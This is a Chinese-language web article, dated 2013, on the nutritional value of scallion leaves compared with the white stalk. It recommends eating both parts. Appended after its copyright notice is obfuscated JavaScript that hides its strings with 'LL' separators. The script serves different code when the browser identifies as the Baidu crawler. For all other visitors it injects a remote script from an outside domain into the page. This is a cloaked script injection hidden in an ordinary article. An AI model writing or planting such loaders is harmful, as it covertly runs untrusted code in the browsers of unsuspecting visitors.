當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

大蔥葉有營養(yǎng)嗎?蔥葉和蔥白哪個營養(yǎng)更高

2013-04-30 08:59:38  來源:360常識網(wǎng)   熱度:
導語:蔥屬百合科,是多年生草本植物。蔥的莖與葉都可食用(即蔥的上部為青色蔥葉,下部為白色蔥白)。大蔥葉有營養(yǎng)嗎?蔥葉和蔥白哪個營養(yǎng)更高蔥

蔥屬百合科,是多年生草本植物。蔥的莖與葉都可食用(即蔥的上部為青色蔥葉,下部為白色蔥白)。

大蔥葉有營養(yǎng)嗎?蔥葉和蔥白哪個營養(yǎng)更高
大蔥葉有營養(yǎng)嗎?蔥葉和蔥白哪個營養(yǎng)更高

蔥對身體有保健作用。蔥含有具刺激性氣味的揮發(fā)油和辣素,能祛除腥膻等油膩厚味菜肴中的異味,產(chǎn)生特殊香氣,可以刺激消化液的分泌,增進食欲。揮發(fā)性辣素通過汗腺、呼吸道、泌尿系統(tǒng)排出時能輕微刺激相關腺體的分泌,而起到發(fā)汗、祛痰、利尿作用。因此,蔥是許多食療偏方治療感冒的常用原料。

不過遺憾的是,很多人認為大蔥的這些功效只是蔥白所具備的,蔥葉似乎顯得沒那么重要,蔥葉甚至成為菜市場和廚房里的生活垃圾。

其實蔥葉的營養(yǎng)和蔥白比起來,一點都不差。

我們時常說,同一株蔬菜中不同部位營養(yǎng)成分也有差別,這一點在大蔥身上就能體現(xiàn)出來。蔥葉除了含有蔥白中所含有的營養(yǎng)成分外,許多營養(yǎng)素都要優(yōu)于蔥白。例如蔥葉中的維生素C、胡蘿卜素、葉綠色、鎂的含量,都要明顯高于蔥白部分。

因此,我們把綠油油的蔥葉丟棄掉,實在是委屈了蔥葉。下次買菜,如果蔥葉不老、不萎縮發(fā)黃,我們完全可以把蔥葉和蔥白一起食用,這樣既減少浪費,節(jié)約了生活成本,還能攝入更豐富的營養(yǎng)素,何樂而不為呢?

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}